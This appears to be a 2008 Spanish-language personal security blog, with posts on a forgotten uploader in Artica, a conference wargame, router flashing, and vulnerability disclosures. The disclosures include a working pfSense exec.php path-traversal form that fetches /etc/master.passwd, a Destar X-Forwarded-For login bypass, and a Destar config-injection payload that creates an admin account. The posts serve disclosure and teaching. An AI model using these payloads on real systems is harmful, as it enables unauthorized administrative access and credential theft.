viernes, 17 de octubre de 2008

I have the reason (Artica case)

Esta entrada en el blog tiene dos motivos:

1. Recordarme que aveces me da por alegar por pura terquedad.

2. Que cuando se reporta un bug hay de respuestas a respuestas, esta me parecio muy divertida.


El caso es que en la empresa estamos trabajando con una solución llamada artica, la cúal entre muchas cosas integra un sistema de correo con todos los juguetes.

Bueno, el caso es que me puse a mirar un poco los archivos del software y me encontre con uno muy especial llamado: upload.php.

Cuando lo abrí me di cuenta que precisamente era eso, un uploader, lo malo del asunto es que permitia subir archivos a la plataforma y lo segundo mas malo es que en ningun lado se hablaba de el. Como un adulto responsable le escribí al desarrollador principal de artica y para no postear los emails, resumo lo sucedido:

yo:
Que tal dev, me parece que este archivo no deberia estar aqui, se les olvido quitarlo o es un bug?, me podrias confirmar? (siempre pido una confirmación para no sentirme tan loco).

dev:
Querido amigo, te cuento que eso es un archivo viejo que usaba para hacer pruebas, no te preocupes borralo y todo estará bien.

yo:
Hola!, si, yo se que si lo elimino todo estará bien, pero que pasa con las otras personas que no lo han visto?, existe algun archivo README, INSTALL donde lo mencionen?

dev:
NO, no se preocupe, eso ya desaparecio en versiones anteriores, relajese, tomese un tinto, no es para tanto.

yo:
no, no, no, no me entiendes, quiero una respuesta clara, quiero saber que es lo que pasa, acabo de bajar la última versión de artica (artica-postfix-1.2.101718.deb) para debian y el archivo sigue allí. Entonces eso significa que las personas que usen artica sobre debian son vulnerables?, existe algun archivo donde se mencione esto?, deberia haber una advertencia.

dev: (un poco mas alterado)
Que no ohme, seguro cuando hiciste una actualización el archivo se mantuvo ahí y por eso crees que lo estas instalando. Solo borralo y olvida el asunto.

yo:
Hola!, ya realize una instalación desde cero y el archivo apareció :)
nando:/home/nando/Desktop# ls -la /usr/share/artica-postfix/upload.php
-rw-r--r-- 1 root root 713 oct 17 11:13 /usr/share/artica-postfix/upload.php
nando:/home/nando/Desktop#

dev: ...

Como el asunto no podia quedar ahí entre al foro público de artica y publique una entrada, la cual el mismo desarrollador contesto e inmediatamente cerro el topic.
Para mi ya era el colmo, no me daba explicaciones y se hacia el loco con el tema.

Entonces abrí un segundo tema y le dije que pilas, que las cosas no eran así y realmente las comunidades de software libre no funcionan así. Ocultar las cosas no es una buena politica.

El desarrollador muy amablemente devolvio a la vida mi topic y me escribio un último correo diciendome: "Yes you right my script do incremental copies when creating deb packages so it still exists. It is fixed for next version...."

Mi respuesta fue:
...


Y ahi termina la historia.

Seguramente NO se lanzará un advisory acerca de esto y seguramente algunas cuantas maquinas corriendo artica serán atacadas, pero cumpli con hacer mi parte.

Aveces la neglicencia o el simple hecho de no reconocer que se comete un error, hacen que los procesos en comunidad no evolucionen de la mejor forma. Si el desarrollador se hubiera portado mejor, seguro me hubiera motivado a entregarle otros bugs mas interesantes, pero por ahora dejemoslo ahí.

Byte.

martes, 14 de octubre de 2008

! A Crazy WARGAME !

Note: Todo lo que expongo aquí es de manera personal y es producto solo de la frustración de querer divertirme y no poder hacerlo. :p

Todo el mundo conoce lo que son los wargames, que son de varios estilos, que pueden haber wargames de programación, de redes, de seguridad y de cualquier otra cosa, pero casi siempre el enfoque es seguridad informática ó hacking.


El pasado puente se realizó un congreso en Cartagena, donde se presentó un reto informático.

Como siempre la idea es ganar o al menos entender de lo que se trataba y entender como se resuelve. Esta vez, ni lo uno, ni lo otro.


Jugué con un par de amigos de la comunidad dragonjar, pues a través de ellos pude conseguir la entrada (gracias 4v4t4r).

Los objetivos de un wargame casi siempre están claros, lo que casi nunca se expone es el COMO hacerlo, que ahí es donde entra en juego las habilidades de los jugadores. En este wargame no teniamos ninguna de las dos cosas, solo teníamos un poco de información de lo que se trataba.


Entonces el asunto fue algo complicado...

Recursos:
SIN acceso a Internet + Conocimientos propios + Tools y Laptops.

Objetivo:
Penetrar una red wifi conocida (WEP, WPA2), Hacer un deface (en algún lugar, en algún S.O.) y cambiar datos en una base de datos (alguna base de datos, en algún lugar).

Como ven, teníamos algunas limitaciones, pero después de pensarlo mucho, este juego termino por gustarme, ya que me da ideas para cuando programe mis propios wargames y me hace reflexionar acerca de la mente de un atacante.

///////////////

Al inicio del juego no sabíamos por donde empezar y quizás nunca tuvimos la orientación de lo que queríamos encontrar exactamente, esto debe ser lo que siente un script kidie, cuando quiere "hackear" algo, pero finalmente no sabe que o para que.

Es muy diferente a la mentalidad de un atacante con un objetivo fijo donde dice: Voy por una base de datos de usuarios que esta en X maquina y listo, enfoca sus esfuerzos a lograrlo.

Aunque teníamos un QUE, no sabíamos exactamente donde se desarrollaria el Juego.

Después de la charla del ponente que realizó el montaje del wargame, entendimos que su mentalidad era algo diferente, quizás no quería organizar un reto "ganable" o quizás quería demostrar lo bueno que es configurando una red segura.

El punto en cuestión y con lo que no estuve de acuerdo fue cuando mencionó que este wargame estaba diseñado basado en el mundo real, algo que me parecío muy ilógico de lo que había podido analizar hasta ese momento, en fin, el asunto no es criticar, ni decir que estuvo bien o no bien hecho. El asunto es analizar que un reto de estos en un congreso debería estar orientado a motivar a los asistentes para que practiquen y desarrollen habilidades y no a demostrar que tan buenos pueden ser unos productos o que tan "tesos" son los que los implementan.

Jugando el wargame a ciegas ...

1. WEP y WPA


El punto de inicio era fácil, había que romper una llave WEP o WPA para ingresar a la red del juego, sus SSID: e-byte y e-byte2.

Ya todos sabemos las herramientas que existen para crackear llaves, pero también sabemos que estas técnicas tienen limitaciones como por ejemplo el trafico que debe existir en los AP para que la inyección de datos sea efectiva ...

El punto en contra era que ninguno de los dos AP's tenia tráfico inicialmente y encima, tenían instalado un sistema que "baneaba" intentos fallidos, escaneos y etc. Los productos son de aruba, me imagino que en producción deben ser muy buenos, pero son necesarios para un wargame?

Intentamos varias técnicas para conseguir el acceso a los AP.

Acceso físico
  • Intentamos acceder físicamente a los equipos del reto, suponiendo que estaban en un cuarto de operaciones cercano al lugar del evento, pero no fue posible, puesto que estaba todo el tiempo con personas. (el disfraz de camarera no funciono!, tampoco el de señora del aseo)

  • Intentamos desconectar un AP en producción para ubicarlo en nuestro switch, pero el único cable de red que llevábamos no funcionó, luego pensamos en desconectar el AP pero desconectaríamos muchos usuarios reales y esto llamaría la atención.

Ingeniería social
  • Rastreamos el mejor lugar con señal para ubicarnos en este y así tener mas posibilidades, al mismo tiempo el ubicarnos en un mismo lugar, hace que el resto de competidores se sientan intimidados y se ubiquen en lugares aparte, normalmente al otro extremo , lo que les dificulta la conexión para ellos.
  • Intentamos hacer ingeniería social con organizadores y ponentes, pero ninguno tenia información técnica del montaje, sin embargo la información que nos brindaron no solo nos desviaron a nosotros, si no a todos los participantes.

  • Usar camisetas puede parecer un poco lammer, pero dependiendo del escenario logra que las personas se predispongan y por lo tanto muchos ni siquiera intenten jugar ;)

Finalmente encontramos la WEP ...

Un punto para el wargame fue que ambas redes WEP y WPA accedían al mismo lugar, entonces intentar romper las dos era perdida de tiempo, pero nunca nadie dijo que este era el escenario, me parece chevere esta implementación, dos accesos que van al mismo lugar dividen los esfuerzos (:p), pero para mi, no es un escenario real.

Al finalizar hablamos con el ponente y nos contó que la llave WPA era algo como:

"%&@·1234567"

Por lo que con HANDSHAKE o sin HANDSHAKE, esa clave nunca se hubiera podido romper.

Obviamente el HADSHAKE nunca se obtuvo, porque nunca se conecto un solo cliente.

Pretendían que rompiéramos WPA2 en día y medio sin conexión a Internet? ;)

2. MAPEANDO, ENUMERACIÓN, SCANNING


Ya dentro de la red sacamos la info que pudimos, vimos algunos equipos conectados y nos dimos cuenta que teníamos asignada una dirección dinámica pero que el gateway no respondía y el mismo gateway era el servidor DNS.

Al principio pensábamos que esa maquina era ficticia, después tendríamos la respuesta.
Escaneamos el resto de las maquinas, todas aparecían con los mismos puertos: 80, 3128, 8080, 8888 y dos de ellas con los puertos de VPN. El problema era que todos los puertos respondían de la misma forma, porque tenían TCPWRAPPERS y ademas cada host tenia un portal cautivo que nunca supimos cual era, o como pasarlo, pues redireccionaba a un mensaje de error de acceso administrativo.

Ahí fue cuando empezamos a llorar... (lol)

Hablando con el ponente, nos explico que en la red donde estabamos habian varios equipos y que podía haber un filtro y un sistema IDS en appliance y ademas un sonicwall antiTODO, pero que si no podíamos pasar eso, entonces él con gusto bajaría el nivel del reto retirando algunos equipos (routers, switchs, appliances).

Agrrrrr... :S

Vuelve y juega la pregunta,

¿La idea era que jugáramos o que viéramos que la implementación era excelente ?
¿Lo era ?

En este punto ya se habían retirado el 98% de los participantes, primero porque no habían podido romper las llaves y segundo, porque sospechaban lo que les esperaba.

Hasta ahí llevábamos el primer punto, entonces decidimos crear un documento y entregarlo por si las moscas. De todos modos seguimos jugando.

Mas adelante el ponente nos contó que lo que pasaba era que tenia un port knocker y que por eso no veíamos nada abierto, entonces intentamos pasar el port knocker pero la secuencia de puertos nunca la supimos y a la pregunta de cual era el cliente para pasarla, nos contesto que el cliente estaba en un archivo en alguna otra de las maquinas, que tenia un nombre raro y concluimos que esas maquinas estaban filtradas con el portal cautivo y de esa forma NUNCA íbamos a poder encontrar los tales archivos clientes.

Para los que entienden del tema, saben que hay scanners que se basan en bases de datos para enumerar directorios y archivos de un servidor web, pero para que sea efectivo el ataque con algo así se requiere:

a. TENER EL PUERTO ESCUCHANDO (no lo teníamos TCPWRAPPERS + PORTAL CAPTIVO)
b. QUE EL NOMBRE BUSCADO ESTE EN LA BD
(no lo creo, el archivo deberia tener una combinación alfa numérica imposible)

3. DIA DE LA DECEPCIÓN ...


Ya cansados de pelear y sin tocar mar por culpa del juego, decidimos esperar las conclusiones.

El ponente explico de una forma muy elocuente el reto, pero nunca respondió técnicamente al COMO pasarlas, pero lo que dejo ver es que todo debía llegar por iluminación, y nosotros aún no llegamos hasta allá :P

La respuesta era algo como: "A uno se le ocurre que la maquina 172.16.55.8 esta en la VLAN 230 ..."

Y estos fueron los tips para pasar el reto:

Jajaja, yo trate de entenderlo un poco más.

Aquí va:

COMO RESOLVER EL RETO INFORMÁTICO - CARTAGENA 2008

1. Crackear una llave WEP o WPA2, cualquiera de las dos lo llevan al mismo lugar, pero tenga en cuenta que no hay clientes en los AP.

2. Una vez adentro, mapear la red, pero todo el tráfico ICMP estaba filtrado, por lo tanto nunca se sabia si estaban activos o no los equipos, el uso de sniffers era obligatorio, pero para ver el trafico, había que envenenar el switch y luego ADIVINAR que la IP 192.168.1.10 (corriendo IPCOP) tenia un servidor portknocker, por lo tanto no se pueden ver los servicios, la solución es encontrar un archivo de configuración cliente en algún lugar de la red y luego descifrarlo para poderlo usar.

El archivo al parecer estaba en la maquina 192.168.1.100 (se obtiene por adivinación), pero para poder alcanzar el archivo tendríamos que hacer spoofing de direcciones IP y luego pasarnos la seguridad de un portal captivo (quizas clonando la MAC) y cuando ya pudíeramos entrar al servidor ADIVINAR el nombre del archivo y la extensión que este usaba.

Después era muy fácil, solo descargarlo, si es que el IPS no lo filtraba. Existen muchísimas soluciones de port knocking, sin Internet es complicado apuntarle a una.

3. Cuando tuviéramos acceso a la maquina .10, teníamos que escanearla y encontrar que estaba abierto el puerto 2000, aunque apareciera filtrado, y luego deducir que ese 2000 era realmente una pasarela (forwarding) para el otro lado B del juego.

Al entrar al lado B, teniamos que caer en cuenta que estabamos en una VLAN con un switch 3com (quitaron el switch cisco) que no tenia IP administrativa, pero de todos modos debíamos hackear el switch o reprogramarle un firmware usando el protocolo TFTP.

El problema es que el acceso desde el TFTP solo se permitia desde una maquina confiable protegida por un Firewall, por lo tanto habia que penetrar esta maquina para poder montarle una imagen y luego hacer que el switch la descargará. (Obviamente habia que saltarse el portal captivo para atacar la maquina ). Pero fácil, ahí estariamos en el switch, supongo que con clave by default. (lol)

Una vez en el switch tendriamos que cambiarnos a una VLAN donde estuvieran los servidores a comprometer .

4. Una vez conectados en la VLAN correcta debíamos escanear las maquinas y encontrar que tenian plugines/ejemplos de tomcat vulnerables, los cuales debíamos explotar y de esa forma tener acceso a la maquina, ya estando allí solo tendríamos que hacer el deface. Y listo, el reto dos estaría cumplido.

5. Luego debíamos pasarnos de VLAN y escanear la red por otro equipo, pasarnos la protección del firewall y entrar a la BD que era MySQL, cambiar los registros correctos y listo, el primer puesto seria nuestro.

Eso fue lo que entendí del reto, de lo que teníamos que hacer, le agradezco a los que montaron este wargame porque me abrió los ojos, porque si hay alguien que para prevenir un deface se tome esas molestias, entonces de seguridad yo no se nada :P

Como vieron era un reto que mezclaba un poco de todo, yo creo que es viable ganarlo, siempre y cuando tengamos unos 15 días para jugar y no 1 día y medio como estaba planteado.
¿Lo que me dejó preocupado es que si ese es un ambiente real entonces que es esto un día despues del congreso?, ¿no importa un deface in the real, real life ?
(Empresa que colaboró en el montaje del wargame - donado por un usuario anónimo)

PD1: Todas las gráficas que aparecen fueron del cierre del juego, NO antes de empezarlo. Las conclusiones que saco son mias y son hipoteticas, puedo estar equivocado, pero es lo que concluí después de escuchar al ponente y de todo lo que analizamos.

PD2: hackerslab, pulltheplug, ngsec, boinasnegras, hasta el reto de la campus se quedo en palotes!

PD3: De todos modos GANAMOS, nos premiaron (a la perseverancia? ), invitación a próximos congresos y la fiesta en Mr. Babilla.

PD4: Me falto contarles que el lado A y el lado B del reto se conectaban usando protocolos X10 que transmiten sobre el cableado eléctrico. la respuesta del ponente a mi sorpresa fué:

" Ah!, no lo vieron?, el tráfico por ahí estaba desencriptado, podían haberlo esnifeado!".

Lastima que no lleve mi plugin de wireshark para X10 y menos el conversor de 110V para el Assus! :P
Sean Legales !!


Como mi hermana ...

domingo, 31 de agosto de 2008

[OT] Un buen MRASAJE


Esto que tiene que ver con el perfil técnico del blog?

!!! NADA !!!

Pero queria agradecerle a mi progenitora por el delicioso MRASAJE que me practico esta noche.

Que es un MRASAJE?, pues es un triple combo o un killer combo como dirian algunos por ahí, solo se puede usar cuando el cuerpo lo pide a gritos:

MOXIBUSTIÓN + REIKI + ACUPUNTURA * ( MASAJE ) = MRASAJE

Alguna de las ventajas de ser un Geek con mamá terapeuta.
Una vez realizada la terapia puedo compilar mejor.
Quíen dijo que un Geek no puede hacer otras cosas?

Perdón por el offtopic. :D

Si, mientras me masajeaban seguia compilando y buscando bugs.

See yaa!

sábado, 30 de agosto de 2008

Just 4 remember

year 2003 ...

"At lines 467-469 in crypto/rand/md_rand.c is an interesting
thing:

#ifndef PURIFY
MD_Update(&m,buf,j); /* purify complains */
#endif

That is the code that causes the problem (I just verified
it with Valgrind). Does it have any bad side affects to
always skip that code? Since both Purify and Valgrind is
unhappy with that function call, something must be wrong
with it.
"

LOL.
is perfect Valgrind ?

Este texto empieza exactamente con la respuesta al problema de hace unos meses de Debian (http://www.debian.org/security/2008/dsa-1571):

"That is the code that causes the problem ..."

Jeje, será que ya sabia lo que iba a ocasionar?

PD: una mala premisa.

jueves, 28 de agosto de 2008

I don like it


Estaba haciendo unas pruebas y leí un poco del código, realmente se ve muy buggy, no pienso ir mas allá, lo dejo para que alguien mas se anime ;)

Ningun archivo valida ingreso de parámetros, la función de borrado masivo es vuln, permitiendo eliminar completamente un dominio, posiblemente se pueda hacer LDAP injection o cosas así. Lo verifique en la versión que aparece en el screenshot, no he probado nada en las versiones en desarrollo.

Lo delicado del asunto es que a traves de un sistema web vulnerable, pueda tener control total de un PDC.

jueves, 7 de agosto de 2008

Bug and exploit for Pfsense v1.2

Por donde atacarias un firewall?


Un exploit?
bash-3.2# cat ataque.html

<form name="ataque" method="post" action="http://192.168.20.200/exec.php">
<table width="0" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td>Ataque</td>
<td><input name="submit" type="text" id="victima" value="Download"></td>
<td><input name="dlPath" type="text" id="victima2" value="../../../../../../../etc/master.passwd"></td>
</tr>
<tr>
<td> </td>
<td><input type="submit" name="submit" value="Download"></td>
</tr>
</table>
</form>
Donde, 192.168.20.200 es ?

Yo solo quiero descargarme el /etc/master.passwd del firewall.
(thx astrid por la inspiración, jeje)
Un fix silencioso ...

de:
http://cvstrac.pfsense.org/fileview?f=pfSense/usr/local/www/exec.php&v=1.10.4.11.2.1

a:

http://cvstrac.pfsense.org/fileview?f=pfSense/usr/local/www/exec.php&v=1.10.4.13


bye ...

Packet Tracer 5


¿ Conocen el software packet tracer de CISCO ?

Fig. Packet tracer en Linux

Para los que no saben que es, les cuento que este software es un complemento ideal para los manuales de redes, nos permite simular, visualizar, probar y probar montajes de red con diferentes protocolos y diferentes dispositivos activos. Puedo simular switchs, routers, access points, servidores dhcp, etc.

Cúal es la novedad?, o porque me animo a postearlo aquí?
Porque ya funciona en Linux, corre en Linux usando librerias QT y aunque no es software libre, se puede usar en ambientes academicos sin restricciones. Ademas la versión 5.0 recien salida, permite trabajar en red.

Que ventaja tiene esto?, que es posible a traves de internet o en una LAN realizar un montaje de red con varios packet tracer distribuidos, de esta forma cada componente de la red puede tener varios equipos clientes o servidor y así ...

En definitiva simular un paso mas a la realidad, realizando las conexiones del packet tracer con conexiones TCP entre las diferentes IPs.

He hecho pruebas entre un WinXP y un Linux Debian y no tuve ningún problema en usar la caracteristica "multiuser".

Más información en:
http://www.cisco.com/web/learning/netacad/course_catalog/PacketTracer.html

Off topic:
Por otro lado, me entró la curiosidad de cúal es la forma que usan para validarse entre los packet tracer de la red, puesto que requieren una clave para poder realizar la simulación ...

No avance mucho en esto porque me da pereza, pero luego lo retomaré...

Una pequeña prueba:

Usando una clave "12345" en ambos extremos:

74.0.PTMP.1.{b2232ec5-0000-4000-91b8-1d87f11e53f4}.2.1.1.4.20080807202649.2..
74.1.PTMP.1.{634e4574-3e04-4aa3-9cd9-631fbf02c99f}.2.1.1.4.20080808022701.2..
............%....
827ccb0eea8a706c4c34a16891f84e7b
yDQ9cbEQXkEFLD4t74XnkX6xvMEGTA4Z

Envio un string de 32 chars (a que se te parece?) y me devuelve uno de 32.

Cuando la clave es incorrecta pasa lo mismo y cada vez que hago la conexión se genera un valor diferente ...

Ahí se los dejo por si quieren investigar.

domingo, 6 de julio de 2008

Campus Party Colombia 2008

Fig 1. La foto que no puede faltar en ningun lugar, en ningun evento

Por fin terminé de organizar la información descargada de la LAN P2P montada en la campus, gracias a kleper por la iniciativa de montarla y permitirme tener los capítulos de HEROES que ahora estoy feliz viéndome. En total fueron como 280 GB que me descargué aunque mucha cosa fue basura, encontré cosas importantes ;)

Mi experiencia en la CP fue un poco diferente, puesto que tenia la responsabilidad de coordinar el montaje de red de la arena. Así que para mí la campus duró 5 días mas de lo normal, al igual que para las 15 personas (tocólogos de redes del SENA)que me acompañaron en esa misión, entre esas mi querida y adorada astro, supongo que cada uno de ellos tendrá una experiencia para compartir.

Siempre que uno esta en un evento de estos la sensación es que uno quisiera ser un campusero mas, estar feliz, gritando por todos lados "Campus Party lo mejor!", pero a la vez piensa en que quizás no sea tan divertido y que a esa responsabilidad se le puede sacar algo de disfrute.

¿Que es lo que se hace en una Campus?

Después de haber estado en Brasil apoyando el equipo de tecnología y después del compromiso adquirido aquí en Colombia, pienso que hay muchas personas que no dimensionan realmente lo que se puede hacer en un evento de tal magnitud, como también hay muchos otros que nunca se van a enterar de que se trata esa reunión de "peludos" con computadores y carpas durante 8 días.

En la Campus esta la conectividad (4.0Gbps), esta la libertad para descargar datos sin restricciones, esta la posibilidad de jugar hasta que el cuerpo no de más, sin restricciones de mamás o de horarios, pero hay mas cosas ...

Quiero iniciar una lista y continuarla en el wiki del directorio acerca de que es lo bueno que se puede aprender, hacer, vivir en una CP, no solo para que quede documentado, sino para que quede como experiencia y compromiso para los futuros campuseros.

http://www.el-directorio.org/CampusPartyColombia#head-1055fd17293758f5252c81c5719e48e67a50a296

Lo bueno para vivir en una Campus Party es:
  • Volver a encontrarse con amigos de diferentes ciudades
  • Aprender de los proyectos campuseros independientes
  • Concursar en cualquier cantidad de cosas que haya por hacer en esos 8 días
  • Programar charlas extras en horarios imposibles, solo para los mas gomosos
  • Asistir a las charlas y talleres programados y aprovecharlos al máximo
  • Darle un rostro a todos los nicks que están en la bandeja de contactos desde hace años
  • Conseguir nuevos aliados para los proyectos personales
  • Volverse GAMER por 8 días
  • Salir a conocer la ciudad en compañía de desconocidos o amigos
  • Chatear a 4 Mbps (al parecer la mayoría opto solo por esto, ya que los emoticones salían mas rápido)
  • Encontrar fuentes de inspiración (personas, proyectos) para futuras cosas personales
  • Hacer negocios ...
  • Etc ...
No me gusta escribir mucho al estilo Blogger, así que ya me voy despidiendo, no sin antes enviarle un saludo a todos los muchachos (y muchachas) que hicieron parte del grupo de montaje de la red de la arena, y también a todos los amigos de siempre y los nuevos conocidos durante la CP de Bogotá.

A la gente de OSSIM, los de DragonJar, la comunidad OpenSolaris y los otros y aquellos también, un saludo para todos y nos vemos en el próximo evento donde coincidamos.

Un saludo para Miguel, la Mona, Polkan, Offray, Xtingray y para la el resto de la gente de Futura que me colaboró con las cuestiones administrativas cuando había problemas.

Bueno, como diria Offray acompañado de un gesto para el cúal no tengo emoticon:
NNNNnnnoossss VEMOOOOOOOOSSSSSSSssssssssssssssssssssss ...

PD: alguien pudo entrar al CORE, no era un CORE irrompible :p

Fig 2. Un agente extraño circulando en la interfaz WAN del CORE, detectado por la gente de OSSIM.

jueves, 5 de junio de 2008

domingo, 13 de abril de 2008

Colosug Community

Ya conocen la comunidad OpenSolaris?, ya conocen a Colosug ?, que estan esperando?

Para participar en los proyectos de OpenSolaris, solo basta con seguir los siguientes 3 pasos:

1. Registren una cuenta en : Sign in OpenSolaris.

2. Entren a la página del proyecto en cuestion, por ejemplo, el proyecto de grupo de usuarios colombiano de OpenSolaris y hagan click en afiliarse el proyecto.

3. Inscribanse en las listas de correo para participar activamente.


Más información:

sábado, 22 de marzo de 2008

Bug2 and exploit2 for destar

Destar es una interfaz web (programada en python) para manejar Asterisk.
La parte interesante es que unos colombianos son los que han estado liderando el proyecto en los ultimos años. (Buena por esa!!!).

Este otro bug lo encontre despues de encontrar el primero, antes de que se acabaran los caballeros del zodiaco y cuando ya tenia mucho sueño.

Este bug es un poco mas peligroso que el anterior, pues no se requiere tener usuario valido dentro de destar para ingresar como "administrador".

Se encuentra en el archivo Publisher.py, el cual maneja la conexión entrante.
exactamente en las líneas:

65
66 # Determine IP of originator, keep Squid in mind :-)
67 try:
68 ip = request.environ['HTTP_X_FORWARDED_FOR']
69 except:
70 ip = request.environ['REMOTE_ADDR']
71

Cual es el problema?, el problema puede ser no manejar sesiones, sabiendo que el quixote las soporta. segun el autor (que no los colombianos):

22 DeStarPublisher also has it's own session management. For simplicity, I put
23 the session stuff directly into the Publisher object, so I don't use
24 Quixote's classes 'Session' and 'SessionPublisher'.
25
26 Reasons:
27
28 a) they set a cookie, some browsers don't allow cookies
29
30 b) if you stop and start DeStar (which happens very often during
31 Development) Quixote's session handler would give you ugly error messages
32
33 c) Keeping the session data in the publisher object scales quite ok, because
34 DeStar will usually only be used inside the LAN anyway
35
36 But keep in mind that a session here is not a (user, host, browser_process)
37 tuple, but a (user, host) tuple.
38
39 TODO: the default implementation provided here is not persistent. There is
40 also no cleanup code to remove old sessions.
41
42
43 The Session holds several values:
44
45 request.session.user User name
46 request.session.level User level (0=disabled/not logged in
47 1=normal PBX user
48 2=PBX Administrator
49 3=PBX Configurator
50 4=Programmer
51 request.session.language User language

O sea que la cookie que conocemos normalmente se reemplaza por una dupla (ip,usuario). Esto no es del todo malo, si se toman las precauciones del caso.

Pero ...

El primer llamado lo hace a una variable que se encuentra en los encabezados y se llama: HTTP_X_FORWARDED_FOR

Como todos sabemos desde el colegio, esta variable se añade a las comunicaciones cuando hay proxies de por medio. Que pasaria entonces si le hacemos creer a destar que pasamos por un proxy y por eso llevamos esa variable puesta?

Uhmmm ...

Que el software creeria que nuestra IP es igual a lo que pongamos en la variable y ya tendriamos control. (yo se que tu tambien lo pensaste!)

Si un usuario tiene control de las variables internas, lo tiene todo.

Una vez conseguida la IP, creamos una sesión valida.

95 session.language = 'en'
96 else:
97 for user in users:
98 if user.pc == ip:
99 session.user = user.name
100 session.level = int(user.level)
101 session.phone = user.phone
102 session.language = user.language
103 break
104
105 language.setLanguage(session.language)
106 session.lastaccess = t
107 request.session = session

El for de la linea 97 lo que hace es buscar el primer usuario que tenga la IP que acabamos de ingresar por medio de la variable HTTP_X_FORWARDED_FOR
por lo tanto si queremos hacer un "auto login" solo necesitamos saber la IP de un usuario validado en el sistema y ponerla en la variable. :)

Pero para poner las cosas mejor, cuando se monta el software, destar trae un usuario por omisión que no tiene variable "pc" configurada.

Por lo tanto para el script esta variable tiene un valor ="" (nulo), entonces si hacemos un script que ponga la HTTP_X_FORWARDED_FOR="", estariamos ingresando como usuario administrador (Configurator). !Simple lógica!

Listo eso es todo, una posible solucion es validar las cadenas de entrada y obviamente mejorar el script que captura la IP.

Un ejemplo del uso del exploit:

debian:~# python destar_exploit2.py
Target host: i.e: http://127.0.0.1:8080/
Target host ( include http and /): http://127.0.0.1:8080/
Ok, now go and test your user at: http://127.0.0.1:8080/

Y ya tenemos un usuario valido en ese sistema. Si quieres cambiar los parámetros por defecto configura el exploit, estudialo, portate bien, no hagas daños, estos exploits son pruebas de concepto, solo buscan que aprendas un poco, nada mas.

Nos vemos en la próxima (cuando tenga tiempo) ...

Bug1 and exploit1 for destar

Destar es una interfaz web (programada en python) para manejar Asterisk.
La parte interesante es que unos colombianos son los que han estado liderando el proyecto en los ultimos años. (Buena por esa!!!).

El siguiente bug lo encontre mientras jugaba un poco con la interfaz, espero que lo entiendan, que apliquen el conocimiento, que usen los PoC de forma responsable and so on ...



La explotación del bug permite que un usuario normal (como tu o como yo), con privilegios de usuario: "user", pueda crear una cuenta de administrador para entrar a la plataforma. Como lo logra?

El bug esta en el archivo que parsea la informacion de la sección : PhoneSettings, a donde tiene acceso un usuario normal.



Estos datos pueden ser modificados por el usuario, ya que hacen parte de su perfil. Lo que voy a intentar es meterle a los campos cosas extrañas, voy a probar por ejemplo con el campo "Voicemail pin", que es la clave para escuchar los mensajes de voz que me dejen en la extension.

Cuando introduzco "cosas raras", puedo lograr que se modifique el archivo /etc/asterisk/destar_cfg.py que es el que guarda la informacion de destar y que hace a su vez de base de datos, puesto que el autor manifiesta que usara este modo, porque no quiere complicarse con otras cosas (el autor anterior a los colombianos).

La estructura normal del archivo es:

CfgOptUser(
name = "astridlabella",
secret = "astridlabella",
pc = "64.233.167.99",
phone = "agent1",
pbx = "pbx1",
level = "1",
language = "es",
)

CfgPhoneSip(
pbx = "pbx1",
name = "phone1",
secret = "/GPOyGmK",
ext = "2004",
dtmfmode = "rfc2833",
enablecallgroup = True,
callgroup = "2",
panel = True,
calleridnum = "2004",
calleridname = "Phone 1",
dialout_local = True,
dialout_international = True,
dialout_018X_numbers = True,
)
etc...

Dependiendo de los objetos que busque, hay algo que saca los campos correspondientes y los usa.

Bueno, lo que se hace inyectando codigo, es hacer que una entrada de una extension telefonica como la que vemos arriba, se transforme en:

CfgPhoneSip(
pbx = "pbx1",
name = "agent3",
secret = "LOCO",
ext = "2003",
dtmfmode = "rfc2833",
enablecallgroup = True,
callgroup = "1",
queues = "queue1",
panel = True,
pin = 1234,) ; CfgOptUser(name="theroot",secret="theroot",pc="200.13.247.89",phone="agent1",pbx="pbx1",level="2",language="en",) ;CfgPhoneSip(pbx="pbx1000",name="OpenBSD-Agent",secret="imsecure",ext= "2999",dtmfmode = "rfc2833",enablecallgroup = True,callgroup = "1",queues="queue1",panel= True,,
calleridnum = "2003",
calleridname = "Agent 3",
dialout_local = True,
dialout_international = True,
dialout_018X_numbers = True,
)


Observen el codigo despues de la clave '1234' en el campo "pin".
Ese codigo lo que hace es conservar la estructura del archivo y asu vez, crear una nueva instancia (un nuevo usuario), que tiene level="3" (administrador).
si logramos hacer ese cambio ya podemos loguearnos como usuario theroot, con clave theroot y seremos administradores de destar.

Recuerden que para esto es indispensable acceso como usuario sin privilegios.

La parte vulnerable del código es:
87
88 if form["pin"]:
89 phone.pin = form["pin"]
90 try:
91 if form["secret"]:
92 phone.secret = form["secret"]
93 except KeyError:
94 pass
95 backend.updateConfiglet(phone)
96 try:
97 backend.createPythonConfig()
98 except IOError:

En el archivo: page_user_settings.ptl, linea 89, donde no hay ninguna validacion para el valor del campo "pin" que se toma del formulario.

Un posible parche es verificar cada parametro que se recibe de los formularios antes de insertarlos en los archivos. O sea modificar el metodo updateConfiglet() de la clase ConfigletTree en el archivo configlets.py.

Aunque no se si eso hace parte de Quixote o de destar.
Sin embargo en el codigo de destar tambien se podria hacer algo (preventivo).

Una vez ejecutamos el exploit podemos ingresar a la interfaz y obtener lo siguiente:


El PoC lo pueden encontrar en los archivos de este blog -->

! Happy Hacking !

viernes, 14 de marzo de 2008

Flashing the WRT54G v.8 AP

W R T 54 G v. 8


Hace tiempo que no reflasheaba un AP, porque no habia tenido la necesidad, me he mantenido hace mucho con el firmware tomato porque lo tengo en produccion (my internal network).

El AP que necesitaba flashear esta en la version 8, un AP que ya no tiene antenas desmontables :( y que usa el firmware vxworks.

Los pasos son muy simples si eliges el firmware DD-WRT, que hasta donde lei es el proyecto que tiene mas soporte y que si quiere el harware de bajos recursos ;)

Los pasos basicamente estan descritos en esta pagina:
http://www.dd-wrt.com/phpBB2/viewtopic.php?t=20095

Lo que se hace es decargar los archivos:
  • dd-wrt.v24_micro_wrt54gv8.bin
  • vxworkskillerGv8-v3.bin
Uno es el firmware como tal y el otro es un "killer" para el firmware vxworks, porque lo primero que se hace antes de tener un nuevo firmware es eliminar el antiguo, por eso hay que cargar primero este antes de reflashear.

Una vez estamos dentro de la interfaz del AP que tiene por defecto la IP 192.168.1.1, buscamos el panel de administracion y buscamos el enlace para hacer una actualizacion.


Seleccionamos el killer del vxworks y presionamos el boton de upgrade (aqui es donde da susto ...)

Se empieza a actualizar (toma algun tiempo) ...

Despues de un tiempo me da error y el AP se queda solo con un LED encendido (no se asuste).


